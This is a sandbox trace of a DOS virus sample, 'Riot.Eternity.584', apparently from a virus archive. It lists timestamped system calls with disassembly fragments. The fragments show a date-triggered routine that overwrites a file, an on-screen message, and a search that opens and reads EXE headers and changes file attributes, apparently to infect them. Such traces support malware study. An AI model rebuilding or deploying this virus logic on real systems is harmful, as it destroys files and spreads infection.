Sample viewer

vx.netlux.org/Virus.DOS.Riot.Eternity.584

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:04:21.815359303Z 44 PC: 1444f | Get time 0x1444f: cmp dl, 0x11
0x14452: jne 0x14477
0x14454: mov ax, 0x4301
0x14457: xor cx, cx
0x14459: lea dx, word ptr [bp + 0x2ad]
0x1445d: int 0x21
0x1445f: mov ah, 0x3c
0x14461: int 0x21
0x14463: xchg ax, bx
0x14464: mov ah, 0x40
0x14466: mov cx, 0x50
0x14469: lea dx, word ptr [bp + 0x2bd]
0x1446d: int 0x21
0x1446f: mov ah, 0x3e
0x14471: lea dx, word ptr [bp + 0x2ad]
0x14475: int 0x21
0x14477: mov ah, 0x2c
0x14479: int 0x21
0x1447b: cmp dl, 1
0x1447e: ja 0x144a6
2018-12-17T23:04:21.817777112Z 44 PC: 1447b | Get time 0x1447b: cmp dl, 1
0x1447e: ja 0x144a6
0x14480: mov ax, 3
0x14483: int 0x10
0x14485: mov ah, 2
0x14487: xor bh, bh
0x14489: mov dx, 0xa14
0x1448c: int 0x10
0x1448e: dec ah
0x14490: mov cx, 0x2020
0x14493: int 0x10
0x14495: lea si, word ptr [bp + 0x280]
0x14499: loop 0x14499
0x1449b: lodsb al, byte ptr [si]
0x1449c: or al, al
0x1449e: je 0x144a6
0x144a0: mov ah, 0xe
0x144a2: int 0x10
0x144a4: jmp 0x14499
0x144a6: cld
2018-12-17T23:04:21.821041656Z 26 PC: 144af | Set disk transfer address
2018-12-17T23:04:21.822310768Z 78 PC: 144d6 | Find first file
2018-12-17T23:04:21.830155916Z 61 PC: 144e4 | Open file (Filename = 'TEST.EXE')
2018-12-17T23:04:21.838209902Z 63 PC: 144f0 | Read file or device (Read 24 bytes on handle 5)
2018-12-17T23:04:21.841431185Z 62 PC: 14589 | Close file
2018-12-17T23:04:21.84333667Z 67 PC: 14597 | Get or set file attributes
2018-12-17T23:04:21.869804433Z 79 PC: 144d6 | Find next file
2018-12-17T23:04:21.872829751Z 53 PC: 13198 | Get interrupt vector (Interrupt = '46' AKA 'Set verify flag')
2018-12-17T23:04:21.874539525Z 48 PC: 131e1 | Get DOS version
2018-12-17T23:04:21.877016069Z 9 PC: 138b6 | Display string (String= ' Microsoft (R) SIZER Version 1.0 Copyright (C) Microsoft Corp 1992. All rights reserved. SIZER.EXE is used by MemMaker during the memory-optimization process and is not intended to be started from the command prompt. ')
2018-12-17T23:04:21.891613514Z 77 PC: 13893 | Get program return code
2018-12-17T23:04:21.893160415Z 76 PC: 13897 | Terminate with return code (Return code = '0')